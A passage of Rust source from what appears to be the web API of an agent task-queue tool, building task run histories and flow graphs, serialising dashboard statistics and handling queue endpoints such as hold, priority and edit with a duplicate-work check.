6332        let mut n = node(&key, "run", format!("Run {}", h.short));
6333        // Creation marks only the first pass of legacy runs. A resumed pass
6334        // without a record must not inherit the original run's start time.
6335        n.started_at = h
6336            .readable
6337            .then(|| {
6338                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6339                    h.created_at
6340                } else {
6341                    None
6342                })
6343            })
6344            .flatten();
6345        n.run_kind = Some(h.kind);
6346        n.readable = h.readable;
6347        n.href = Some(format!("#/runs/{}", h.id));
6348        n.decided = h.readable && !h.provisional;
6349        n.detail = h
6350            .branch
6351            .as_ref()
6352            .map(|b| format!("review-only run of branch {b}"));
6353        match h.exit {
6354            RunExit::Unreadable => n.note = Some("unreadable"),
6355            RunExit::Interrupted => n.note = Some("interrupted"),
6356            // An earlier pass the run recorded as parked: the status shown
6357            // would be the run's current one, not this pass's.
6358            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6359            _ => {
6360                n.status = h.status;
6361                n.badge = h.badge.clone();
6362                if h.provisional {
6363                    n.note = Some("no verdict");
6364                }
6365            }
6366        }
6367        let into = match h.kind {
6368            "review" => Some(format!(
6369                "review-only run of branch {}",
6370                h.branch.as_deref().unwrap_or("?")
6371            )),
6372            "resume" => Some("resume the same run".to_owned()),
6373            _ if i > 0 => Some("retry".to_owned()),
6374            _ => None,
6375        };
6376        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6377        let label = match (prev_exit, into) {
6378            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6379            (Some((_, l, _)), None) => l,
6380            (None, Some(i)) => i,
6381            (None, None) => "claimed".to_owned(),
6382        };
6383        edges.push(FlowEdge {
6384            from: prev.clone(),
6385            to: key.clone(),
6386            label,
6387            attempt,
6388        });
6389        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6390        prev = key;
6391        nodes.push(n);
6392    }
6393    let mut end = node("end", "end", task.status.as_str().to_owned());
6394    end.status = Some(task.status.as_str());
6395    end.status_of = "task";
6396    // Other task states do not persist their transition start. In particular,
6397    // blocked_at can change while the task remains blocked.
6398    if task.status == TaskStatus::Held {
6399        end.started_at = task.held_at;
6400    }
6401    nodes.push(end);
6402    let (label, attempt) = match prev_exit {
6403        None => (
6404            format!("no run yet \u{2192} {}", task.status.as_str()),
6405            AttemptCost::None,
6406        ),
6407        Some((e, l, cost)) if e.explains(task.status) => {
6408            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6409        }
6410        Some((_, _, cost)) => (
6411            format!("closed by hand: task is {}", task.status.as_str()),
6412            cost,
6413        ),
6414    };
6415    edges.push(FlowEdge {
6416        from: prev,
6417        to: "end".to_owned(),
6418        label,
6419        attempt,
6420    });
6421    FlowView {
6422        nodes,
6423        edges,
6424        attempts: task.attempts,
6425        max_attempts,
6426        passes: history.len(),
6427        runs: distinct_runs(&task.runs),
6428    }
6429}
6430
6431/// How many different run ids a task's run list names.
6432fn distinct_runs(runs: &[String]) -> usize {
6433    let mut seen: Vec<&str> = Vec::new();
6434    for r in runs {
6435        if !seen.contains(&r.as_str()) {
6436            seen.push(r);
6437        }
6438    }
6439    seen.len()
6440}
6441
6442/// Describe recorded task passes, retaining unrecorded legacy list entries.
6443fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6444    let mut slots = Vec::new();
6445    let mut seen = Vec::new();
6446    for run_id in &task.runs {
6447        if seen.contains(&run_id) {
6448            continue;
6449        }
6450        seen.push(run_id);
6451        let state = read(run_id);
6452        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6453            s.passes
6454                .iter()
6455                .filter(|p| {
6456                    p.task_entry
6457                        || task
6458                            .passes
6459                            .iter()
6460                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6461                })
6462                .cloned()
6463                .collect()
6464        });
6465        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6466        let total = legacy_count.max(mine.len());
6467        let offset = total - mine.len();
6468        for k in 0..total {
6469            // Legacy repeated entries retain their original positions. When
6470            // ids are unique, recorded pass times recover the resume order.
6471            let position = task
6472                .runs
6473                .iter()
6474                .enumerate()
6475                .filter(|(_, r)| *r == run_id)
6476                .nth(k.min(legacy_count - 1))
6477                .unwrap()
6478                .0;
6479            slots.push((
6480                run_id,
6481                state.clone(),
6482                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6483                position,
6484            ));
6485        }
6486    }
6487    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6488        slots.sort_by_key(|(_, state, pass, _)| {
6489            pass.as_ref()
6490                .map(|p| p.started_at)
6491                .or_else(|| state.as_ref().map(|s| s.created_at))
6492                .map_or((true, task.created_at), |at| (false, at))
6493        });
6494    } else {
6495        slots.sort_by_key(|(_, _, _, position)| *position);
6496    }
6497    let mut history = Vec::with_capacity(slots.len());
6498    let mut seen: Vec<&str> = Vec::new();
6499    let mut prior: Option<(&str, RunStatus)> = None;
6500    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6501        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6502        let resumed = k > 0;
6503        seen.push(run_id);
6504        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6505        let pass = pass.as_ref();
6506        let settled = pass.and_then(|p| {
6507            task.passes
6508                .iter()
6509                .find(|t| t.run == **run_id && t.pass_index == p.index)
6510        });
6511        history.push(task_run_view(
6512            run_id,
6513            state.as_ref(),
6514            RunSlot {
6515                n: i + 1,
6516                resumed,
6517                resumed_later: slots[i + 1..]
6518                    .iter()
6519                    .position(|(id, _, _, _)| id == run_id)
6520                    .map(|off| i + off + 2),
6521                prior,
6522                last: i + 1 == slots.len(),
6523                pass,
6524                settled,
6525                pass_n: k + 1,
6526                passes_of_run: total,
6527            },
6528            task,
6529        ));
6530        if let Some(s) = &state {
6531            prior = Some((run::short_of(run_id), s.status));
6532        }
6533    }
6534    history
6535}
6536
6537/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6538/// An earlier pass of a resumed run keeps no badge (it has no status box).
6539fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6540    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6541        return;
6542    }
6543    let (_, claimed, _) = run_row_inputs(ui);
6544    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6545    for h in history
6546        .iter_mut()
6547        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6548    {
6549        let Ok(state) = read_run(&ui.runs, &h.id) else {
6550            continue;
6551        };
6552        if state.status.done() {
6553            continue;
6554        }
6555        let live = state.liveness_with(
6556            claimed.contains(&h.id),
6557            |p| probe.borrow_mut().status(p),
6558            |p| probe.borrow_mut().started_at(p),
6559        );
6560        let waiting = !ui.questions.open_for(&h.id).is_empty();
6561        let display = run_display_status(&state, waiting, live);
6562        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6563        if matches!(word.as_str(), "stale" | "superseded")
6564            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6565        {
6566            h.badge = Some(word);
6567        }
6568    }
6569}
6570
6571async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6572    blocking(move || {
6573        let id = resolve_task(&ui.queue, &id)?;
6574        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6575    })
6576    .await
6577}
6578
6579async fn task_detail(
6580    State(ui): State<Arc<Ui>>,
6581    Path(id): Path<String>,
6582) -> ApiResult<Json<TaskDetailView>> {
6583    blocking(move || {
6584        let id = resolve_task(&ui.queue, &id)?;
6585        let task = ui
6586            .queue
6587            .get(&id)
6588            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6589        let inv = if task.status == TaskStatus::Blocked {
6590            Some(crate::blockers::Inventory::load_for(
6591                &ui.queue,
6592                &ui.questions,
6593                &task,
6594            ))
6595        } else {
6596            None
6597        };
6598        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6599        mark_badges(&ui, &task, &mut history);
6600        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6601        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6602        let origin = task.followup.as_ref().map(|fu| {
6603            followup_origin(
6604                fu,
6605                |tid| ui.queue.get(tid).ok(),
6606                |rid| read_run(&ui.runs, rid).ok(),
6607            )
6608        });
6609        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6610        let task_view = match inv.as_ref() {
6611            Some(inv) => TaskView::with_inventory(task, inv),
6612            None => TaskView::from(task),
6613        };
6614        Ok(Json(TaskDetailView {
6615            max_attempts,
6616            flow,
6617            followup_origin: origin,
6618            passes_total: history.len(),
6619            runs_distinct: distinct_runs(&task_view.task.runs),
6620            history,
6621            runs_unreadable,
6622            attempts_note: ATTEMPTS_NOTE,
6623            task: task_view,
6624        }))
6625    })
6626    .await
6627}
6628
6629/// A rate together with its denominator, so the client can tell "computed as
6630/// 0%" apart from "no data to compute it from" — both would otherwise
6631/// serialize as `0.0`. `None` means the denominator was zero.
6632#[derive(Debug, Serialize)]
6633struct RateView {
6634    pct: f64,
6635    denominator: usize,
6636}
6637
6638impl RateView {
6639    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6640        (denominator > 0).then(|| Self {
6641            pct: 100.0 * numerator as f64 / denominator as f64,
6642            denominator,
6643        })
6644    }
6645}
6646
6647/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6648/// rates, each paired with its own denominator via [`RateView`] rather than
6649/// exposing `Stats`' own percentage methods directly — see this module's
6650/// doc for why `Stats` itself is never serialized.
6651#[derive(Debug, Serialize)]
6652struct StatsTotalsView {
6653    runs: usize,
6654    merged: usize,
6655    ready: usize,
6656    blocked: usize,
6657    failed: usize,
6658    stalled: usize,
6659    verified_noop: usize,
6660    superseded: usize,
6661    in_progress: usize,
6662    completion_rate: Option<RateView>,
6663    tallied: usize,
6664    split: usize,
6665    split_rate: Option<RateView>,
6666    deliberated: usize,
6667    minds_changed: usize,
6668    converged: usize,
6669    review_rounds: usize,
6670}
6671
6672impl From<&stats::Totals> for StatsTotalsView {
6673    fn from(t: &stats::Totals) -> Self {
6674        Self {
6675            runs: t.runs,
6676            merged: t.merged,
6677            ready: t.ready,
6678            blocked: t.blocked,
6679            failed: t.failed,
6680            stalled: t.stalled,
6681            verified_noop: t.verified_noop,
6682            superseded: t.superseded,
6683            in_progress: t.in_progress,
6684            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6685            tallied: t.tallied,
6686            split: t.split,
6687            split_rate: RateView::of(t.split, t.tallied),
6688            deliberated: t.deliberated,
6689            minds_changed: t.minds_changed,
6690            converged: t.converged,
6691            review_rounds: t.review_rounds,
6692        }
6693    }
6694}
6695
6696/// [`crate::stats::AgentStats`] for the wire.
6697#[derive(Debug, Serialize)]
6698struct AgentStatsView {
6699    agent: String,
6700    entered: usize,
6701    wins: usize,
6702    empty: usize,
6703    win_rate: Option<RateView>,
6704    competitive_entered: usize,
6705    competitive_wins: usize,
6706    competitive_win_rate: Option<RateView>,
6707    solo_entered: usize,
6708    solo_adopted: usize,
6709    solo_adoption_rate: Option<RateView>,
6710}
6711
6712impl From<&stats::AgentStats> for AgentStatsView {
6713    fn from(a: &stats::AgentStats) -> Self {
6714        Self {
6715            agent: a.agent.clone(),
6716            entered: a.entered,
6717            wins: a.wins,
6718            empty: a.empty,
6719            win_rate: RateView::of(a.wins, a.entered),
6720            competitive_entered: a.competitive_entered,
6721            competitive_wins: a.competitive_wins,
6722            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6723            solo_entered: a.solo_entered,
6724            solo_adopted: a.solo_adopted,
6725            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6726        }
6727    }
6728}
6729
6730/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6731/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6732/// value, `None` when `rounds` is zero.
6733#[derive(Debug, Serialize)]
6734struct ReviewerStatsView {
6735    agent: String,
6736    rounds: usize,
6737    seated: usize,
6738    submitted: usize,
6739    adopted: usize,
6740    unique: usize,
6741    timeouts: usize,
6742    adopted_per_round: Option<f64>,
6743    precision: Option<RateView>,
6744    unique_rate: Option<RateView>,
6745    timeout_rate: Option<RateView>,
6746}
6747
6748impl From<&stats::ReviewerStats> for ReviewerStatsView {
6749    fn from(r: &stats::ReviewerStats) -> Self {
6750        Self {
6751            agent: r.agent.clone(),
6752            rounds: r.rounds,
6753            seated: r.seated,
6754            submitted: r.submitted,
6755            adopted: r.adopted,
6756            unique: r.unique,
6757            timeouts: r.timeouts,
6758            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6759            precision: RateView::of(r.adopted, r.submitted),
6760            unique_rate: RateView::of(r.unique, r.submitted),
6761            timeout_rate: RateView::of(r.timeouts, r.seated),
6762        }
6763    }
6764}
6765
6766/// [`crate::stats::AdvisorStats`] for the wire.
6767///
6768/// `reflection_rate` is approximate by construction — see
6769/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6770/// that caveat is static text in `index.html`, not a field here.
6771#[derive(Debug, Serialize)]
6772struct AdvisorStatsView {
6773    agent: String,
6774    seated: usize,
6775    proposed: usize,
6776    absent: usize,
6777    faint: usize,
6778    strong: usize,
6779    reflection_rate: Option<RateView>,
6780}
6781
6782impl From<&stats::AdvisorStats> for AdvisorStatsView {
6783    fn from(a: &stats::AdvisorStats) -> Self {
6784        Self {
6785            agent: a.agent.clone(),
6786            seated: a.seated,
6787            proposed: a.proposed,
6788            absent: a.absent,
6789            faint: a.faint,
6790            strong: a.strong,
6791            reflection_rate: RateView::of(a.strong, a.proposed),
6792        }
6793    }
6794}
6795
6796/// [`crate::stats::E2eStats`] for the wire.
6797#[derive(Debug, Serialize)]
6798struct E2eStatsView {
6799    rounds: usize,
6800    failures: usize,
6801    sole_detections: usize,
6802    deferred: usize,
6803    sole_rate: Option<RateView>,
6804}
6805
6806impl From<&stats::E2eStats> for E2eStatsView {
6807    fn from(e: &stats::E2eStats) -> Self {
6808        Self {
6809            rounds: e.rounds,
6810            failures: e.failures,
6811            sole_detections: e.sole_detections,
6812            deferred: e.deferred,
6813            sole_rate: RateView::of(e.sole_detections, e.failures),
6814        }
6815    }
6816}
6817
6818/// [`crate::stats::ReleaseBumpStats`] for the wire.
6819///
6820/// `clean` is sent as a raw count, computed the same way
6821/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6822/// needs_attention`) — never derived client-side from `automerge_enabled`,
6823/// which would misclassify a `merged_directly` bump (automerge rejected, but
6824/// magi merged it directly, so no human involvement) as needing attention.
6825#[derive(Debug, Serialize)]
6826struct ReleaseBumpStatsView {
6827    merged: usize,
6828    recorded: usize,
6829    pr_opened: usize,
6830    automerge_enabled: usize,
6831    merged_directly: usize,
6832    needs_attention: usize,
6833    clean: usize,
6834    coverage_rate: Option<RateView>,
6835    automerge_rate: Option<RateView>,
6836    attention_rate: Option<RateView>,
6837}
6838
6839impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6840    fn from(b: &stats::ReleaseBumpStats) -> Self {
6841        Self {
6842            merged: b.merged,
6843            recorded: b.recorded,
6844            pr_opened: b.pr_opened,
6845            automerge_enabled: b.automerge_enabled,
6846            merged_directly: b.merged_directly,
6847            needs_attention: b.needs_attention,
6848            clean: b.clean(),
6849            coverage_rate: RateView::of(b.recorded, b.merged),
6850            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6851            attention_rate: RateView::of(b.needs_attention, b.recorded),
6852        }
6853    }
6854}
6855
6856/// [`crate::queue::TaskCounts`] for the wire.
6857#[derive(Debug, Serialize)]
6858struct TaskCountsView {
6859    queued: usize,
6860    running: usize,
6861    done: usize,
6862    failed: usize,
6863    held: usize,
6864    blocked: usize,
6865    parked: usize,
6866}
6867
6868impl From<crate::queue::TaskCounts> for TaskCountsView {
6869    fn from(c: crate::queue::TaskCounts) -> Self {
6870        Self {
6871            queued: c.queued,
6872            running: c.running,
6873            done: c.done,
6874            failed: c.failed,
6875            held: c.held,
6876            blocked: c.blocked,
6877            parked: c.parked,
6878        }
6879    }
6880}
6881
6882/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6883/// runs recorded — the summary the UI's repository selector is built from.
6884/// Carries no nested `Stats`: picking a repo means re-fetching
6885/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6886/// aggregation rather than duplicating it.
6887#[derive(Debug, Serialize)]
6888struct RepoSummaryView {
6889    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6890    /// against, full path and all (see [`stats_get`]'s own doc for why).
6891    repo: String,
6892    /// Display name only; never used for matching.
6893    name: String,
6894    runs: usize,
6895    completion_rate: Option<RateView>,
6896}
6897
6898impl From<&stats::RepoStats> for RepoSummaryView {
6899    fn from(r: &stats::RepoStats) -> Self {
6900        let t = &r.stats.totals;
6901        Self {
6902            repo: r.repo.to_string_lossy().into_owned(),
6903            name: r.name.clone(),
6904            runs: t.runs,
6905            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6906        }
6907    }
6908}
6909
6910/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6911/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6912/// renders from them) are free to grow without that becoming a wire-contract
6913/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6914/// data" from "computed and it really is zero" the way [`RateView`] does.
6915#[derive(Debug, Serialize)]
6916struct StatsView {
6917    totals: StatsTotalsView,
6918    /// Best win rate first, as [`stats::collect`] already sorts it.
6919    agents: Vec<AgentStatsView>,
6920    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6921    reviewers: Vec<ReviewerStatsView>,
6922    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6923    advisors: Vec<AdvisorStatsView>,
6924    e2e: E2eStatsView,
6925    release_bumps: ReleaseBumpStatsView,
6926    queue: Option<TaskCountsView>,
6927    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6928    /// that field's doc. Asserted to match it in
6929    /// `stats_runs_unreadable_matches_health`.
6930    ///
6931    /// Always the whole-workload count, even when `repo` narrows every other
6932    /// field to one repository - an unreadable `run.json` carries no `repo`
6933    /// a per-repository count could attribute it to, and the queue/health
6934    /// views this mirrors never scope it either. The UI must not present it
6935    /// as if it were scoped to the selected repository.
6936    runs_unreadable: usize,
6937    /// Every repository with runs recorded, most runs first - what the UI's
6938    /// repository selector is built from. Always the full list regardless of
6939    /// `repo`, so switching repositories never needs a second request.
6940    repos: Vec<RepoSummaryView>,
6941    /// Runs per local day over the last 30 days, oldest first, always 30
6942    /// entries. Days are the *server's* local dates (the UI must not convert
6943    /// them again), cut by run creation and classified by current status.
6944    /// Narrowed by `repo` like every other run-derived field.
6945    daily: Vec<DailyStatsView>,
6946    /// The `?repo=` value this response was narrowed to, echoed back so the
6947    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6948    /// all-repositories view.
6949    repo: Option<String>,
6950    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6951    /// current config roster no longer lists them. Empty with `?all=true`, an
6952    /// unreadable config, or when nothing was retired.
6953    retired_hidden: Vec<String>,
6954}
6955
6956/// One day of [`StatsView::daily`].
6957#[derive(Debug, Serialize)]
6958struct DailyStatsView {
6959    /// `YYYY-MM-DD`, server-local.
6960    date: String,
6961    runs: usize,
6962    merged: usize,
6963    ready: usize,
6964    other: usize,
6965    /// `None` on a day with no runs, so it never reads as 0%.
6966    completion_rate: Option<RateView>,
6967}
6968
6969impl From<&stats::DayBucket> for DailyStatsView {
6970    fn from(b: &stats::DayBucket) -> Self {
6971        Self {
6972            date: b.date.to_string(),
6973            runs: b.runs,
6974            merged: b.merged,
6975            ready: b.ready,
6976            other: b.other,
6977            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6978        }
6979    }
6980}
6981
6982/// How many days [`StatsView::daily`] covers.
6983const STATS_DAILY_DAYS: usize = 30;
6984
6985/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6986/// repository. Matched by full-path equality against `RunState.repo` only
6987/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6988/// `--repo` is, because the value here always came from this same route's
6989/// own `repos` list in an earlier response, never typed by a human. A value
6990/// matching no run is a 404, not an empty aggregate: the caller asked for a
6991/// specific, named repository, and silently returning zeroes would look
6992/// exactly like a repository that has runs but none of interest.
6993#[derive(Debug, Default, Deserialize)]
6994#[serde(default)]
6995struct StatsQuery {
6996    repo: Option<String>,
6997    /// `?all=true` keeps agents that are no longer in the roster.
6998    all: bool,
6999    /// The dashboard fetches queue counts independently of run history.
7000    runs_only: bool,
7001}
7002
7003/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7004/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7005/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7006/// prints from. Reads every readable run on disk, exactly as
7007/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7008/// a separately-maintained tally could.
7009async fn stats_get(
7010    State(ui): State<Arc<Ui>>,
7011    Query(q): Query<StatsQuery>,
7012) -> ApiResult<Json<StatsView>> {
7013    blocking(move || {
7014        let states: Vec<RunState> = run_ids(&ui.runs)
7015            .into_iter()
7016            .filter_map(|id| read_run(&ui.runs, &id).ok())
7017            .collect();
7018        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7019            .iter()
7020            .map(RepoSummaryView::from)
7021            .collect();
7022        let mut scoped: Vec<&RunState> = states.iter().collect();
7023        let mut collected = match &q.repo {
7024            Some(repo) => {
7025                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7026                if filtered.is_empty() {
7027                    return Err(ApiError::not_found(format!(
7028                        "no runs recorded against repo `{repo}`"
7029                    )));
7030                }
7031                scoped = filtered.clone();
7032                stats::collect_refs(filtered)
7033            }
7034            None => stats::collect(&states),
7035        };
7036        if !q.all {
7037            let repo = q
7038                .repo
7039                .as_deref()
7040                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7041            stats::retain_current_roster(&mut collected, &repo);
7042        }
7043        let daily = stats::daily(
7044            scoped,
7045            jiff::Zoned::now().date(),
7046            &jiff::tz::TimeZone::system(),
7047            STATS_DAILY_DAYS,
7048        );
7049        let queue_counts = (!q.runs_only)
7050            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7051        Ok(Json(StatsView {
7052            totals: StatsTotalsView::from(&collected.totals),
7053            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7054            reviewers: collected
7055                .reviewers
7056                .iter()
7057                .map(ReviewerStatsView::from)
7058                .collect(),
7059            advisors: collected
7060                .advisors
7061                .iter()
7062                .map(AdvisorStatsView::from)
7063                .collect(),
7064            e2e: E2eStatsView::from(&collected.e2e),
7065            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7066            queue: queue_counts,
7067            runs_unreadable: runs_unreadable(&ui.runs),
7068            repos,
7069            daily: daily.iter().map(DailyStatsView::from).collect(),
7070            repo: q.repo.clone(),
7071            retired_hidden: collected.retired_hidden.clone(),
7072        }))
7073    })
7074    .await
7075}
7076
7077/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7078/// gives no reason - which must keep working, since not every hold has one.
7079#[derive(Debug, Default, Deserialize)]
7080#[serde(default, deny_unknown_fields)]
7081struct HoldBody {
7082    reason: Option<String>,
7083}
7084
7085async fn queue_hold(
7086    State(ui): State<Arc<Ui>>,
7087    Path(id): Path<String>,
7088    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7089) -> ApiResult<Json<TaskView>> {
7090    // An absent body is the ordinary case - most holds are unexplained, and
7091    // that has to stay a one-tap action rather than a form. A body that is
7092    // present and malformed is still a bad request.
7093    let body = match body {
7094        Ok(Json(body)) => body,
7095        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7096        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7097    };
7098    let reason = body.reason.filter(|r| !r.trim().is_empty());
7099    mutate(ui, id, move |t| {
7100        t.hold_manual(reason.clone());
7101        Ok(())
7102    })
7103    .await
7104}
7105
7106async fn queue_release(
7107    State(ui): State<Arc<Ui>>,
7108    Path(id): Path<String>,
7109) -> ApiResult<Json<TaskView>> {
7110    mutate(ui, id, |t| {
7111        t.release_operator("web", None);
7112        Ok(())
7113    })
7114    .await
7115}
7116
7117#[derive(Debug, Deserialize)]
7118#[serde(deny_unknown_fields)]
7119struct AttemptLimitBody {
7120    // Required even when clearing: missing fields must not silently erase an override.
7121    attempt_limit: serde_json::Value,
7122}
7123
7124async fn queue_attempt_limit(
7125    State(ui): State<Arc<Ui>>,
7126    Path(id): Path<String>,
7127    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7128) -> ApiResult<Json<TaskView>> {
7129    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7130    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7131        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7132    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7133}
7134
7135#[derive(Debug, Deserialize)]
7136#[serde(deny_unknown_fields)]
7137struct ImplementersBody {
7138    implementers: u8,
7139}
7140
7141async fn queue_implementers(
7142    State(ui): State<Arc<Ui>>,
7143    Path(id): Path<String>,
7144    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7145) -> ApiResult<Json<TaskView>> {
7146    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7147    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7148}
7149
7150#[derive(Debug, Deserialize)]
7151#[serde(deny_unknown_fields)]
7152struct UrgentBody {
7153    urgent: bool,
7154}
7155
7156async fn queue_urgent(
7157    State(ui): State<Arc<Ui>>,
7158    Path(id): Path<String>,
7159    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7160) -> ApiResult<Json<TaskView>> {
7161    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7162    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7163}
7164
7165/// The body of `POST /api/queue/{id}/priority`.
7166#[derive(Debug, Deserialize)]
7167#[serde(deny_unknown_fields)]
7168struct PriorityBody {
7169    priority: i32,
7170}
7171
7172/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7173///
7174/// [`Task::set_priority`] is the one place the "not while running" rule is
7175/// stated; this route only carries the body to it and lets its `Err` become
7176/// the 4xx the card shows.
7177async fn queue_priority(
7178    State(ui): State<Arc<Ui>>,
7179    Path(id): Path<String>,
7180    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7181) -> ApiResult<Json<TaskView>> {
7182    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7183    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7184}
7185
7186/// The body of `POST /api/queue/{id}/edit`.
7187#[derive(Debug, Deserialize)]
7188#[serde(deny_unknown_fields)]
7189struct EditBody {
7190    title: String,
7191    instruction: String,
7192    /// Save even though the new text names a branch, commit or pull request
7193    /// that unfinished work already owns.
7194    #[serde(default)]
7195    force: bool,
7196}
7197
7198/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7199/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7200/// that refusal's message is what the sheet shows back.
7201async fn queue_edit(
7202    State(ui): State<Arc<Ui>>,
7203    Path(id): Path<String>,
7204    body: std::result::Result<Json<EditBody>, JsonRejection>,
7205) -> ApiResult<Json<TaskView>> {
7206    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7207    // The judge is an agent call, so it is awaited here, outside the claim
7208    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7209    // remembered, and the save refuses if the task moved underneath it.
7210    let mut judged: Option<(String, PathBuf)> = None;
7211    if !body.force {
7212        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7213        let (id, text) = (id.clone(), body.instruction.clone());
7214        let (seen, hits) = blocking(move || {
7215            let id = resolve_task(&queue, &id)?;
7216            let t = queue.get(&id)?;
7217            if text == t.instruction {
7218                return Ok((None, Vec::new()));
7219            }
7220            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7221            Ok((Some((t.instruction, t.repo)), hits))
7222        })
7223        .await?;
7224        if let Some((_, repo)) = &seen {
7225            let cfg = crate::config::Config::discover(repo, None)
7226                .ok()
7227                .map(|(c, _)| c);
7228            let screened =
7229                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7230                    .await
7231                    .map_err(|dup| {
7232                        ApiError::conflict(dup.render(
7233                            "Nothing was saved. If it is not a duplicate, repeat the request \
7234                             with \"force\": true.",
7235                        ))
7236                    })?;
7237            if let crate::dupes::Screened::Unjudged(why) = screened {
7238                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7239            }
7240        }
7241        judged = seen;
7242    }
7243    let force = body.force;
7244    mutate(ui, id, move |t| {
7245        if !force && body.instruction != t.instruction {
7246            match &judged {
7247                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7248                _ => {
7249                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7250                }
7251            }
7252        }
7253        t.edit(body.title.clone(), body.instruction.clone())
7254    })
7255    .await
7256}
7257
7258/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7259/// it, so the phone's other way to clear a task from the backlog does not
7260/// have to cost the run history, the attribution, and `created_at` the way
7261/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7262/// can be marked done by hand, because this is for the run the loop never
